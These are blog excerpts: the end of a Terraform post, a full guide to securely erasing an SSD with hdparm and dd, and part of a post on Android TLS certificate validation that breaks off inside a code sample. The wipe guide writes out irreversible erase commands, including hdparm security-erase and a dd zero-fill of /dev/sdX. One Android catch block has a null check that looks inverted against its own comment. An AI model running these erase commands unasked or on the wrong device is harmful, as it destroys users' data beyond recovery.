<span class="token property">execution_role_arn</span> <span class="token punctuation">=</span> aws_iam_role.ecsTaskExecutionRole.arn
<span class="token punctuation">}</span></code></pre>
<h2 id="finish" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/selenium-grid-ecs/#finish">Finish</a></h2>
<p>Once you’re done playing with the cluster or experimenting, be sure to tear the cluster down</p>
<pre class="language-bash"><code class="language-bash">terraform destroy</code></pre>
Securely wipe an SSD with its built in commands2020-01-28T00:00:00Zhttps://code.mendhak.com/securely-wipe-ssd/<p>Modern SSDs now come with built in commands that can wipe a disk for you. This is an action that should normally be performed when you’re about to give/sell it away.</p>
<p>As an overview you’ll need to find out the disk’s label, unfreeze the disk, set a password, and then issue the erase command. We’ll perform these steps on Ubuntu using the <code>hdparm</code> and <code>dd</code> tools.</p>
<h2 id="plug-it-in" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/securely-wipe-ssd/#plug-it-in">Plug it in</a></h2>
<p>If the disk is already connected to your motherboard, you can leave it there. If you’ve already removed it from the case, you can connect it to your machine with a USB-SATA converter. Preferably, do this over SATA but the option exists to use USB.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/securely-wipe-ssd/usb-sata-connected.jpg">
<img src="https://code.mendhak.com/assets/images/securely-wipe-ssd/usb-sata-connected.jpg" alt="A 2.5 inch SSD connected to a PC USB port" title="" loading="lazy" /></span>
<figcaption>USB SATA converter</figcaption>
</figure><p></p>
<p>There have been some forum posts about disks being bricked when attempting these operations over USB, however I have wiped about a dozen SSDs without issue. Your mileage may vary.</p>
<h2 id="find-out-its-label" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/securely-wipe-ssd/#find-out-its-label">Find out its label</a></h2>
<p>You’ll need to know the correct hard drive label to feed into later commands. The easiest way to do this is to open up the Ubuntu <em>Disks</em> application and look for the hard drive that you’ve plugged in.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/securely-wipe-ssd/wipe-ssd-00.png">
<img src="https://code.mendhak.com/assets/images/securely-wipe-ssd/wipe-ssd-00.png" alt="Using disk viewer to get the disk label" title="" loading="lazy" /></span>
<figcaption>Get the label of the disk</figcaption>
</figure><p></p>
<p>You can also use the <code>sudo fdisk -l</code> command, and look for your disk there.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/securely-wipe-ssd/wipe-ssd-01.png">
<img src="https://code.mendhak.com/assets/images/securely-wipe-ssd/wipe-ssd-01.png" alt="Output of fdisk showing many disks" title="" loading="lazy" /></span>
<figcaption><code>fdisk</code> output</figcaption>
</figure><p></p>
<p>In this case, the drive is <code>/dev/sda</code> - though if you have other SATA SSDs then there may be a mix of sda, sdb, sdc and so on in there. For reference the drive will just be referenced as <code>/dev/sdX</code> from here on.</p>
<div class="notice danger">
It is really important to get this step right, as working with the wrong label can wipe your main disk.<br />
If in doubt, try disconnecting any other drives you have, except the primary OS drive.<br />
The safest way would be to do this from an Ubuntu Live USB and disconnect all other drives.
</div>
<h2 id="install-hdparm" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/securely-wipe-ssd/#install-hdparm">Install <code>hdparm</code></a></h2>
<p>The tool to use here is <code>hdparm</code> - if it isn’t already install, just install it using</p>
<pre><code>sudo apt install hdparm
</code></pre>
<p>hdparm allows you to work with ATA disks and the ATA disk’s built in commands.</p>
<h2 id="unfreeze-the-drive" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/securely-wipe-ssd/#unfreeze-the-drive">Unfreeze the drive.</a></h2>
<p>SSDs will sometimes be in a ‘frozen’ state, which is designed to prevent malicious attacks against your disk, including wiping it.</p>
<p>You can check if your disk is frozen using</p>
<pre><code>sudo hdparm -I /dev/sdX
</code></pre>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/securely-wipe-ssd/wipe-ssd-02.png">
<img src="https://code.mendhak.com/assets/images/securely-wipe-ssd/wipe-ssd-02.png" alt="Output of hdparm showing not frozen" title="" loading="lazy" /></span>
<figcaption>Disk frozen status</figcaption>
</figure><p></p>
<p>If you see <code>not frozen</code> then you’re OK to proceed. But if you just see <code>frozen</code>, you will need to unfreeze the disk.</p>
<p>The quickest way is to suspend your computer and then reawaken it. You can do this using</p>
<pre><code>sudo pm-suspend
</code></pre>
<p>and then power it back on.</p>
<p>If that doesn’t work, a simple reboot should be enough. Try the command again and you should see that the disk is no longer frozen.</p>
<h2 id="set-a-password" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/securely-wipe-ssd/#set-a-password">Set a password</a></h2>
<p>According to the spec, as a prerequisite to issuing an erase command, you’ll need to set a password to enable security on the disk. Any password will do, and this password will disappear once the drive has been securely erased.</p>
<pre><code>sudo hdparm --user-master u --security-set-pass hunter2 /dev/sdX
</code></pre>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/securely-wipe-ssd/wipe-ssd-03.png">
<img src="https://code.mendhak.com/assets/images/securely-wipe-ssd/wipe-ssd-03.png" alt="Use of hdparm to set a password on the SSD" title="" loading="lazy" /></span>
<figcaption>Set password</figcaption>
</figure><p></p>
<p>Test to make sure that the password has indeed been set.</p>
<pre><code>sudo hdparm -I /dev/sdX
</code></pre>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/securely-wipe-ssd/wipe-ssd-04a.png">
<img src="https://code.mendhak.com/assets/images/securely-wipe-ssd/wipe-ssd-04a.png" alt="Use of hdparm to confirm that a password is set" title="" loading="lazy" /></span>
<figcaption>Confirm password is set</figcaption>
</figure><p></p>
<p>This time you should see, under <code>Master password</code>, the <code>not enabled</code> has become <code>enabled</code>. The line <code>Security level high</code> also appears at the bottom of the list.</p>
<h2 id="security-erase-or-enhanced-security-erase" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/securely-wipe-ssd/#security-erase-or-enhanced-security-erase">Security Erase or <em>Enhanced</em> Security Erase</a></h2>
<p>The hdparm output also shows what kind of erase the drive supports.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/securely-wipe-ssd/wipe-ssd-04b.png">
<img src="https://code.mendhak.com/assets/images/securely-wipe-ssd/wipe-ssd-04b.png" alt="hdparm output indicating supported erase types" title="" loading="lazy" /></span>
<figcaption>Type of erases supported</figcaption>
</figure><p></p>
<p>The <code>SECURITY ERASE UNIT</code> command will rotate the disk’s internal encryption key, rendering the data on disk invalid.<br />
The <code>ENHANCED SECURITY ERASE UNIT</code> will rotate the encryption key and also write a manufacturer-determined pattern to the disk as an added measure.</p>
<p>Take note of how long the estimate is; it can be anywhere from a minute to hundreds of minutes; the time depends on what method the disk uses to erase data.</p>
<h2 id="actually-erase-it" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/securely-wipe-ssd/#actually-erase-it">Actually erase it</a></h2>
<p>To perform an Enhanced Security Erase,</p>
<pre><code>sudo hdparm --user-master u --security-erase-enhanced hunter2 /dev/sdX
</code></pre>
<p>To perform a normal Security Erase,</p>
<pre><code>sudo hdparm --user-master u --security-erase hunter2 /dev/sdX
</code></pre>
<p>Be sure to wait a few minutes more than the estimate.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/securely-wipe-ssd/wipe-ssd-05.png">
<img src="https://code.mendhak.com/assets/images/securely-wipe-ssd/wipe-ssd-05.png" alt="Use of hdparm to erase the disk" title="" loading="lazy" /></span>
<figcaption>Erase command</figcaption>
</figure><p></p>
<h2 id="test-that-it-s-erased" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/securely-wipe-ssd/#test-that-it-s-erased">Test that it’s erased</a></h2>
<p>Once again, run</p>
<pre><code>sudo hdparm -I /dev/sda
</code></pre>
<p>Notice that the <code>Security level high</code> line no longer appears. Under <code>Master password</code> the status has returned to <code>not enabled</code>. This tells us that the disk has been reset.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/securely-wipe-ssd/wipe-ssd-06.png">
<img src="https://code.mendhak.com/assets/images/securely-wipe-ssd/wipe-ssd-06.png" alt="Use of hdparm to confirm disk erased showing master password is not enabled" title="" loading="lazy" /></span>
<figcaption>Confirm erasure</figcaption>
</figure><p></p>
<p>Unplug and re-plug the SSD, then open the <em>Disks</em> application. The disk should appear but without any of your previous partitions.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/securely-wipe-ssd/wipe-ssd-07.png">
<img src="https://code.mendhak.com/assets/images/securely-wipe-ssd/wipe-ssd-07.png" alt="Use of Disks application to confirm erasure" title="" loading="lazy" /></span>
<figcaption>Confirm erasure</figcaption>
</figure><p></p>
<p>You can also verify by reading bytes directly off the disk with the <code>dd</code> command.</p>
<pre><code>sudo dd if=/dev/sda bs=1M count=5
</code></pre>
<p>If you’ve done an Enhanced Erase you will see the pattern which was set by the manufacturer.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/securely-wipe-ssd/wipe-ssd-08.png">
<img src="https://code.mendhak.com/assets/images/securely-wipe-ssd/wipe-ssd-08.png" alt="Garbled output from dd command indicating an enhanced erase" title="" loading="lazy" /></span>
<figcaption>Enhanced security erase</figcaption>
</figure><p></p>
<p>In the case of a regular erase you will see nothing.</p>
<h2 id="paranoid-mode" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/securely-wipe-ssd/#paranoid-mode">Paranoid mode</a></h2>
<p>Although there is an <a href="http://web.archive.org/web/20160813235342/http://t13.org/Documents/UploadedDocuments/docs2004/e04147r0-TechProposalFreezeLockSecureErase.pdf">ATA spec proposal for the erase operations</a>, there is no real standardization in secure erase. An SSD could report that it has erased the disk but without inspecting the code, there is <a href="https://security.stackexchange.com/a/41683">no guarantee that it has done so</a>.</p>
<p>The erase should be occurring by <a href="https://security.stackexchange.com/a/64480">changing the internal encryption key</a> thereby making the data useless; in some cases the disk will perform both the normal erase and the security enhanced erase in the same way. But manufacturers are not forthcoming about these kinds of details, so a level of suspicion or paranoia here is not unusual.</p>
<p>To address this paranoia, you can take this a step further by performing a <code>dd</code> write to disk anyway. This command will fill the disk with zeroes.</p>
<pre><code>sudo dd if=/dev/zero of=/dev/sdX bs=1M status=progress
</code></pre>
<p>Wait until the ‘no space left on device’ error appears.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/securely-wipe-ssd/wipe-ssd-09.png">
<img src="https://code.mendhak.com/assets/images/securely-wipe-ssd/wipe-ssd-09.png" alt="Output of dd command until there is no longer space left on the device" title="" loading="lazy" /></span>
<figcaption><code>dd</code> fill</figcaption>
</figure><p></p>
<p>And you’re done.</p>
<p>Between all of these steps performed, the disk is now in a state to be sold or given away.</p>
Custom TLS certificate validation for Android applications2020-01-05T00:00:00Zhttps://code.mendhak.com/android-custom-certificate-validation/<p>How to properly validate TLS certificates from Android applications - without bypassing or compromising validation.</p>
<p>Several features I’ve had to develop for <a href="https://gpslogger.app/">GPSLogger</a> allow users to communicate with their own private hosts serving custom SSL/TLS certificates. The most difficult part about developing for such a workflow is actually finding help and documentation. Android’s <a href="https://developer.android.com/training/articles/security-ssl">own documentation</a> has some advice, but requires that you already <em>know</em> the certificate in advance. This doesn’t always apply as a user will want to apply their own self signed certificates or use a provider that isn’t yet trusted in their version of Android.</p>
<p>StackOverflow posts on this topic will often given awful answers showing you how to <em>disable</em> validation with a little disclaimer tacked on at the end to the effect of “Here’s some bad advice, you should totally not do this in production”; nothing more than a wink and a nod silently saying, “You’re going to do this anyway just don’t tell anyone”. To Google’s credit, they actually scan for applications that do this and send warnings to application owners. However even so I have seen top rated answers giving advice on how to evade detection rather than actually fix.</p>
<p>This is extremely dangerous, considering that such code ends up in actual real-world applications susceptible to <a href="https://en.wikipedia.org/wiki/Man-in-the-middle_attack">man-in-the-middle attacks</a>, compromising privacy and security. Here I will detail the method I took to provide a certificate validation workflow in my app.</p>
<h2 id="validation-overview" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/android-custom-certificate-validation/#validation-overview">Validation overview</a></h2>
<p>The proper validation workflow consists of a few parts. First the user must enter the server name or URL they want to connect to, which is being served by their custom certificate. User taps the validation link, and the app makes a request to the server. The certificate is fetched and tested to see if it is recognized by the Android OS already. If it isn’t a known certificate, the details of the certificate are presented for the user to look at. The user can accept the certificate, at which point it’s stored in a keystore.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/android-custom-certificate-validation/002_workflow.png">
<img src="https://code.mendhak.com/assets/images/android-custom-certificate-validation/002_workflow.png" alt="Validation workflow" loading="lazy" /></span>
<figcaption>Validation workflow</figcaption>
</figure><p></p>
<p>From then on as part of the normal application’s running, any requests made are checked against the keystore in order to validate the certificate.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/android-custom-certificate-validation/003_workflow.png">
<img src="https://code.mendhak.com/assets/images/android-custom-certificate-validation/003_workflow.png" alt="Validation workflow" loading="lazy" /></span>
<figcaption>Validation workflow</figcaption>
</figure><p></p>
<h2 id="sockets-and-certificates" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/android-custom-certificate-validation/#sockets-and-certificates">Sockets and certificates</a></h2>
<p>Depending on the protocol, there are different ways of extracting the certificate.</p>
<p>For <code>https</code>, simply connecting to the socket as a secure <code>SSLSocket</code>, and extracting the certificate using <a href="https://developer.android.com/reference/javax/net/ssl/SSLSession.html#getPeerCertificates()"><code>SSLSession.getPeerCertificates()</code></a> is sufficient. If the handshake happens successfully, then the certificate is already known and trusted.</p>
<pre class="language-java"><code class="language-java">
<span class="token keyword">import</span> <span class="token import"><span class="token namespace">javax<span class="token punctuation">.</span>net<span class="token punctuation">.</span>ssl<span class="token punctuation">.</span></span><span class="token class-name">SSLSession</span></span><span class="token punctuation">;</span>
<span class="token keyword">import</span> <span class="token import"><span class="token namespace">javax<span class="token punctuation">.</span>net<span class="token punctuation">.</span>ssl<span class="token punctuation">.</span></span><span class="token class-name">SSLSocket</span></span><span class="token punctuation">;</span>
<span class="token keyword">import</span> <span class="token import"><span class="token namespace">javax<span class="token punctuation">.</span>net<span class="token punctuation">.</span>ssl<span class="token punctuation">.</span></span><span class="token class-name">SSLSocketFactory</span></span><span class="token punctuation">;</span>
<span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>security<span class="token punctuation">.</span>cert<span class="token punctuation">.</span></span><span class="token class-name">Certificate</span></span><span class="token punctuation">;</span>
<span class="token keyword">private</span> <span class="token keyword">void</span> <span class="token function">connectToSSLSocket</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">IOException</span> <span class="token punctuation">{</span>
<span class="token class-name">SSLSocketFactory</span> factory <span class="token operator">=</span> <span class="token class-name">Networks</span><span class="token punctuation">.</span><span class="token function">getSocketFactory</span><span class="token punctuation">(</span>context<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">SSLSocket</span> socket <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">SSLSocket</span><span class="token punctuation">)</span> factory<span class="token punctuation">.</span><span class="token function">createSocket</span><span class="token punctuation">(</span>host<span class="token punctuation">,</span> port<span class="token punctuation">)</span><span class="token punctuation">;</span>
socket<span class="token punctuation">.</span><span class="token function">setSoTimeout</span><span class="token punctuation">(</span><span class="token number">5000</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
socket<span class="token punctuation">.</span><span class="token function">startHandshake</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">SSLSession</span> session <span class="token operator">=</span> socket<span class="token punctuation">.</span><span class="token function">getSession</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">Certificate</span><span class="token punctuation">[</span><span class="token punctuation">]</span> servercerts <span class="token operator">=</span> session<span class="token punctuation">.</span><span class="token function">getPeerCertificates</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token function">connectToSSLSocket</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
handler<span class="token punctuation">.</span><span class="token function">post</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Runnable</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token annotation punctuation">@Override</span>
<span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">run</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token comment">//Workflow - the certificate is already valid and trusted by the OS</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre>
<h3 id="extracting-the-certificate" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/android-custom-certificate-validation/#extracting-the-certificate">Extracting the certificate</a></h3>
<p>However, if an exception is thrown, then it may be an untrusted certificate, and we must perform extra steps. The ‘unknown’ certificate is held in the exception as a cause, strangely, and only if the exception is a <code>RuntimeException</code>. So we must create a wrapper class to hold it once extracted.</p>
<pre class="language-java"><code class="language-java">
<span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">CertificateValidationException</span> <span class="token keyword">extends</span> <span class="token class-name">RuntimeException</span> <span class="token punctuation">{</span>
<span class="token keyword">private</span> <span class="token class-name">X509Certificate</span> certificate<span class="token punctuation">;</span>
<span class="token keyword">public</span> <span class="token class-name">CertificateValidationException</span><span class="token punctuation">(</span><span class="token class-name">X509Certificate</span> certificate<span class="token punctuation">,</span> <span class="token class-name">String</span> message<span class="token punctuation">,</span> <span class="token class-name">Throwable</span> t<span class="token punctuation">)</span><span class="token punctuation">{</span>
<span class="token keyword">super</span><span class="token punctuation">(</span>message<span class="token punctuation">,</span> t<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">this</span><span class="token punctuation">.</span>certificate <span class="token operator">=</span> certificate<span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token keyword">public</span> <span class="token class-name">X509Certificate</span> <span class="token function">getCertificate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
<span class="token keyword">return</span> certificate<span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token class-name">CertificateValidationException</span> <span class="token function">extractCertificateValidationException</span><span class="token punctuation">(</span><span class="token class-name">Exception</span> e<span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span>e <span class="token operator">==</span> <span class="token keyword">null</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">null</span> <span class="token punctuation">;</span> <span class="token punctuation">}</span>
<span class="token class-name">CertificateValidationException</span> result <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span>e <span class="token keyword">instanceof</span> <span class="token class-name">CertificateValidationException</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">return</span> <span class="token punctuation">(</span><span class="token class-name">CertificateValidationException</span><span class="token punctuation">)</span>e<span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token class-name">Throwable</span> cause <span class="token operator">=</span> e<span class="token punctuation">.</span><span class="token function">getCause</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">Throwable</span> previousCause <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span>
<span class="token keyword">while</span> <span class="token punctuation">(</span>cause <span class="token operator">!=</span> <span class="token keyword">null</span> <span class="token operator">&&</span> cause <span class="token operator">!=</span> previousCause <span class="token operator">&&</span> <span class="token operator">!</span><span class="token punctuation">(</span>cause <span class="token keyword">instanceof</span> <span class="token class-name">CertificateValidationException</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
previousCause <span class="token operator">=</span> cause<span class="token punctuation">;</span>
cause <span class="token operator">=</span> cause<span class="token punctuation">.</span><span class="token function">getCause</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span>cause <span class="token operator">!=</span> <span class="token keyword">null</span> <span class="token operator">&&</span> cause <span class="token keyword">instanceof</span> <span class="token class-name">CertificateValidationException</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
result <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">CertificateValidationException</span><span class="token punctuation">)</span>cause<span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token keyword">return</span> result<span class="token punctuation">;</span>
<span class="token punctuation">}</span>
</code></pre>
<p>So we can catch the exception from the above <code>connectToSSLSocket()</code> call.</p>
<pre class="language-java"><code class="language-java"><span class="token keyword">catch</span> <span class="token punctuation">(</span><span class="token keyword">final</span> <span class="token class-name">Exception</span> e<span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">extractCertificateValidationException</span><span class="token punctuation">(</span>e<span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token keyword">null</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token comment">//Not an untrusted certficiate, some other exception. </span>
<span class="token keyword">throw</span> e<span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token keyword">if</span><span class="token punctuation">(</span>serverType<span class="token operator">==</span> <span class="token class-name">ServerType</span><span class="token punctuation">.</span><span class="token constant">HTTPS</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
handler<span class="token punctuation">.</span><span class="token function">post</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Runnable</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token annotation punctuation">@Override</span>
<span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">run</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token comment">//Workflow - the certificate was untrusted</span>
<span class="token comment">//Show it to the user</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">return</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> </code></pre>
<p>As part of the workflow, we’d pass the exception along to the main thread to extract and display to the user.</p>
<h3 id="display-the-certificate-to-the-user" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/android-custom-certificate-validation/#display-the-certificate-to-the-user">Display the certificate to the user</a></h3>
<p>The user now needs to see the certificate. The <code>X509Certificate</code> has several properties, and the most important ones to display are the Issuer, Fingerprint, Issued Date and Expiry Date.</p>
<pre class="language-java"><code class="language-java">sb<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span><span class="token class-name">String</span><span class="token punctuation">.</span><span class="token function">format</span><span class="token punctuation">(</span>msgformat<span class="token punctuation">,</span><span class="token string">"Issuer"</span><span class="token punctuation">,</span> cve<span class="token punctuation">.</span><span class="token function">getCertificate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getIssuerDN</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
sb<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span><span class="token class-name">String</span><span class="token punctuation">.</span><span class="token function">format</span><span class="token punctuation">(</span>msgformat<span class="token punctuation">,</span><span class="token string">"Fingerprint"</span><span class="token punctuation">,</span> <span class="token class-name">DigestUtils</span><span class="token punctuation">.</span><span class="token function">shaHex</span><span class="token punctuation">(</span>cve<span class="token punctuation">.</span><span class="token function">getCertificate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getEncoded</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
sb<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span><span class="token class-name">String</span><span class="token punctuation">.</span><span class="token function">format</span><span class="token punctuation">(</span>msgformat<span class="token punctuation">,</span><span class="token string">"Issued on"</span><span class="token punctuation">,</span>cve<span class="token punctuation">.</span><span class="token function">getCertificate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getNotBefore</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
sb<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span><span class="token class-name">String</span><span class="token punctuation">.</span><span class="token function">format</span><span class="token punctuation">(</span>msgformat<span class="token punctuation">,</span><span class="token string">"Expires on"</span><span class="token punctuation">,</span>cve<span class="token punctuation">.</span><span class="token function">getCertificate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getNotAfter</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre>
<p>It’s also important to show all the Subject Alternative Names, using <code>getSubjectAlternativeNames()</code>. There are several different values returned which is very confusing; the <a href="https://tools.ietf.org/html/rfc2459">X509 specification</a> helps us here, in that we can see the different types of values returned.</p>
<pre><code> otherName [0] AnotherName,
rfc822Name [1] IA5String,
dNSName [2] IA5String,
x400Address [3] ORAddress,
directoryName [4] Name,
ediPartyName [5] EDIPartyName,
uniformResourceIdentifier [6] IA5String,
iPAddress [7] OCTET STRING,
registeredID [8] OBJECT IDENTIFIER }
</code></pre>
<p>So we are most interested in #2, the <code>dNSName</code> which is the more likely subject. And #7, the <code>iPAddress</code>, though not as common, but still a possibility.</p>
<pre class="language-java"><code class="language-java"> <span class="token keyword">if</span><span class="token punctuation">(</span>cve<span class="token punctuation">.</span><span class="token function">getCertificate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getSubjectAlternativeNames</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token keyword">null</span>
<span class="token operator">&&</span> cve<span class="token punctuation">.</span><span class="token function">getCertificate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getSubjectAlternativeNames</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">size</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
<span class="token keyword">for</span><span class="token punctuation">(</span><span class="token class-name">List</span> item <span class="token operator">:</span> cve<span class="token punctuation">.</span><span class="token function">getCertificate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getSubjectAlternativeNames</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span><span class="token punctuation">)</span>item<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">2</span> <span class="token operator">||</span> <span class="token punctuation">(</span><span class="token keyword">int</span><span class="token punctuation">)</span>item<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">7</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token comment">//Alt Name type DNS or IP</span>
sans<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span>item<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span></code></pre>
<p>In my app a user would see a prompt similar to this:</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/android-custom-certificate-validation/001_validation.gif">
<img src="https://code.mendhak.com/assets/images/android-custom-certificate-validation/001_validation.gif" alt="Custom validation UI" loading="lazy" /></span>
<figcaption>Custom validation UI</figcaption>
</figure><p></p>
<h3 id="saving-the-certificate-to-a-keystore" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/android-custom-certificate-validation/#saving-the-certificate-to-a-keystore">Saving the certificate to a keystore</a></h3>
<p>When the user accepts, the custom certificate then needs to be saved to a keystore. This can be done in the application’s own directory.</p>
<pre class="language-java"><code class="language-java">
<span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">addCertToKnownServersStore</span><span class="token punctuation">(</span><span class="token class-name">Certificate</span> cert<span class="token punctuation">)</span>
<span class="token keyword">throws</span> <span class="token class-name">KeyStoreException</span><span class="token punctuation">,</span> <span class="token class-name">NoSuchAlgorithmException</span><span class="token punctuation">,</span> <span class="token class-name">CertificateException</span><span class="token punctuation">,</span> <span class="token class-name">IOException</span> <span class="token punctuation">{</span>
<span class="token class-name">KeyStore</span> knownServersStore <span class="token operator">=</span> <span class="token class-name">KeyStore</span><span class="token punctuation">.</span><span class="token function">getInstance</span><span class="token punctuation">(</span><span class="token class-name">KeyStore</span><span class="token punctuation">.</span><span class="token function">getDefaultType</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
